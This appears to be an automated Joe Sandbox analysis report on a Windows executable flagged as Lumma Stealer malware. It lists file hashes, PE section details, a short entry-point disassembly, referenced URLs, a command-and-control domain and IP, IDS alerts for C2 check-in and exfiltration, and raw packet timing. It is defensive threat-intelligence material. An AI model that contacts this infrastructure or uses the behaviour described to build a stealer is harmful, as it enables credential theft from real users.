https://www.ecosia.org/newtab/	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	dEugughckk.exe, 00000000.00000003.2244483083.0000000005379000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	dEugughckk.exe, 00000000.00000003.2244088110.000000000548F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/d	dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/ap	dEugughckk.exe, 00000000.00000003.2291702317.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2296112010.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/apir	dEugughckk.exe, 00000000.00000003.2291702317.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291575133.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mindhandru.buzz/apit	dEugughckk.exe, 00000000.00000003.2291702317.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269832197.0000000000BE2000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2291575133.0000000000BE9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2269879267.0000000000BAF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	dEugughckk.exe, 00000000.00000003.2243338635.0000000005392000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/piis	dEugughckk.exe, 00000000.00000003.2344411887.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2346017720.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2344468698.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	dEugughckk.exe, 00000000.00000003.2244088110.000000000548F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	dEugughckk.exe, 00000000.00000003.2194229599.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194143002.00000000053BB000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000003.2194080149.00000000053BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/C	dEugughckk.exe, 00000000.00000003.2344348604.0000000005380000.00000004.00000800.00020000.00000000.sdmp, dEugughckk.exe, 00000000.00000002.2348279502.0000000005380000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.mozilla.or	dEugughckk.exe, 00000000.00000003.2244378441.000000000538E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/ic9q#	dEugughckk.exe, 00000000.00000003.2291575133.0000000000BDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.165.185	mindhandru.buzz	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580866
Start date and time:	2024-12-26 12:36:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	dEugughckk.exe renamed because original name is a hash value
Original Sample Name:	de5663a16524882ceb5a3010b0ec0b1e.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.190.177.149, 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target dEugughckk.exe, PID 6220 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:37:06	API Interceptor	8x Sleep call for process: dEugughckk.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.165.185	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse
	https://click.jipolismall.de/i86/	Get hash	malicious	Unknown	Browse
	https://ser.optimalesi.de/i87/	Get hash	malicious	Unknown	Browse
	https://ser.optimalesi.de/i68	Get hash	malicious	Unknown	Browse
	https://cpanel.vivatell.de/i105/	Get hash	malicious	Unknown	Browse
	https://cpanel.vivatell.de/i105/	Get hash	malicious	Unknown	Browse
	https://out.novastellz.de/i45/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse	104.21.80.215
	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse	104.21.80.215
	RIMz2N1u5y.exe	Get hash	malicious	LummaC	Browse	172.67.154.166
	HVlonDQpuI.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	5RRVBiCpFI.exe	Get hash	malicious	LummaC	Browse	104.21.42.145
	MPySEh8HaF.exe	Get hash	malicious	LummaC	Browse	172.67.180.113
	Dotc67890990.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	67VB5TS184.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	http://booking.extranetguests.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.220.52

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Solara-v3.0.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	BootStrapper.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Script.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	1C6ljtnwXP.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	RIMz2N1u5y.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	5RRVBiCpFI.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	MPySEh8HaF.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	Delivery form - Airway bill details - Tracking info 45821631127I ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	172.67.165.185

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949441395143998
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	dEugughckk.exe
File size:	1'873'920 bytes
MD5:	de5663a16524882ceb5a3010b0ec0b1e
SHA1:	280d168c2fd1c0907eca8f1818b3cd6898586c88
SHA256:	b83a1f57cac8525b3cf0e64196418f40f5360b029e7c39daaa5909066b49e8de
SHA512:	77ffd66d7bdf9309c9c1fec965e3daa64bde555ea40154c176252fd94b5e42c5c2a5140ef1ddf0a79fb11cb58fc20b27e02cb447d56c08a3fc4a7f845693d3c1
SSDEEP:	49152:aFXv9DJbQFO6Bs+3WuL7LockJ/fpgCDlJF1j8M9e:3FR3ffMc2fp3DDF1h9e
TLSH:	1B8533240583A9B6C435817333ABF376AFBA166050D28EC5BA4ED3F1848B3649755B3E
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig.............................@J...........@..........................pJ...........@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF01C4CE4BAh
pcmpeqd mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FF01C4D04B5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	7b053ce8ebbf845513ec725281f71668	False	0.9996234170751634	data	7.984162457467838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2ae000	0x200	7312e5dc7fe13174d098d13fdcd1b1d7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
amllbkxy	0x303000	0x1a0000	0x19f800	d803f99b040b9ba1b2394ff856523b17	False	0.9944837733152828	data	7.953990865645969	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ejcrfawc	0x4a3000	0x1000	0x400	2d6ecec43a165b179bc7c51e3c3987dd	False	0.7890625	data	6.123509168447335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a4000	0x3000	0x2200	70335da56cd91d02ab81cf83e7714084	False	0.09283088235294118	DOS executable (COM)	1.0626593152953092	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-26T12:37:07.267775+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49709	172.67.165.185	443	TCP
2024-12-26T12:37:08.020254+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49709	172.67.165.185	443	TCP
2024-12-26T12:37:08.020254+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49709	172.67.165.185	443	TCP
2024-12-26T12:37:09.381828+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	172.67.165.185	443	TCP
2024-12-26T12:37:10.186417+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49711	172.67.165.185	443	TCP
2024-12-26T12:37:10.186417+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	172.67.165.185	443	TCP
2024-12-26T12:37:12.142815+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49712	172.67.165.185	443	TCP
2024-12-26T12:37:14.764556+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49714	172.67.165.185	443	TCP
2024-12-26T12:37:17.094658+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49716	172.67.165.185	443	TCP
2024-12-26T12:37:19.669953+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49722	172.67.165.185	443	TCP
2024-12-26T12:37:20.466470+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49722	172.67.165.185	443	TCP
2024-12-26T12:37:22.404787+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49731	172.67.165.185	443	TCP
2024-12-26T12:37:25.742628+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49737	172.67.165.185	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 12:37:05.954535961 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:05.954590082 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:05.954689026 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:05.957489967 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:05.957510948 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:07.267617941 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:07.267775059 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:07.275026083 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:07.275038004 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:07.275295019 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:07.320734978 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:07.327662945 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:07.327697039 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:07.327785015 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:08.020263910 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:08.020364046 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:08.020415068 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:08.062855005 CET	49709	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:08.062891006 CET	443	49709	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:08.073015928 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:08.073050022 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:08.073110104 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:08.074635983 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:08.074654102 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:09.381632090 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:09.381828070 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:09.383189917 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:09.383207083 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:09.383457899 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:09.384836912 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:09.384867907 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:09.384927988 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.186420918 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.186470032 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.186496973 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.186542034 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.186568022 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.186629057 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.186629057 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.186649084 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.186691046 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.187793016 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.196419001 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.196471930 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.196480989 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.204943895 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.205091953 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.205112934 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.258310080 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.305986881 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.351963043 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.396447897 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.400023937 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.400060892 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.400156021 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.400203943 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.405486107 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.417217970 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.417237997 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.417253017 CET	49711	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.417259932 CET	443	49711	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.838212013 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.838289022 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:10.838356018 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.838702917 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:10.838716984 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:12.142642021 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:12.142815113 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:12.144165993 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:12.144179106 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:12.144419909 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:12.145756960 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:12.145920038 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:12.145950079 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:13.327955008 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:13.328043938 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:13.328119993 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:13.328326941 CET	49712	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:13.328349113 CET	443	49712	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:13.459273100 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:13.459342957 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:13.459424973 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:13.459729910 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:13.459743977 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:14.764483929 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:14.764555931 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:14.767365932 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:14.767375946 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:14.767611027 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:14.768670082 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:14.768770933 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:14.768790960 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:14.768951893 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:14.815327883 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:15.607019901 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:15.607126951 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:15.607177973 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:15.607310057 CET	49714	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:15.607338905 CET	443	49714	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:15.788701057 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:15.788743019 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:15.788816929 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:15.789140940 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:15.789155960 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:17.094577074 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:17.094657898 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:17.096420050 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:17.096435070 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:17.096739054 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:17.097976923 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:17.098129034 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:17.098164082 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:17.098234892 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:17.098248005 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:18.052757978 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:18.052845955 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:18.053092003 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:18.053258896 CET	49716	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:18.053281069 CET	443	49716	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:18.365142107 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:18.365196943 CET	443	49722	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:18.365273952 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:18.365561962 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:18.365573883 CET	443	49722	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:19.669876099 CET	443	49722	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:19.669953108 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:19.671175957 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:19.671186924 CET	443	49722	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:19.671416998 CET	443	49722	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:19.672643900 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:19.672739029 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:19.672744036 CET	443	49722	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:20.466466904 CET	443	49722	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:20.466559887 CET	443	49722	172.67.165.185	192.168.2.6
Dec 26, 2024 12:37:20.466613054 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:20.473313093 CET	49722	443	192.168.2.6	172.67.165.185
Dec 26, 2024 12:37:20.473334074 CET	443	49722	172.67.165.185	192.168.2.6
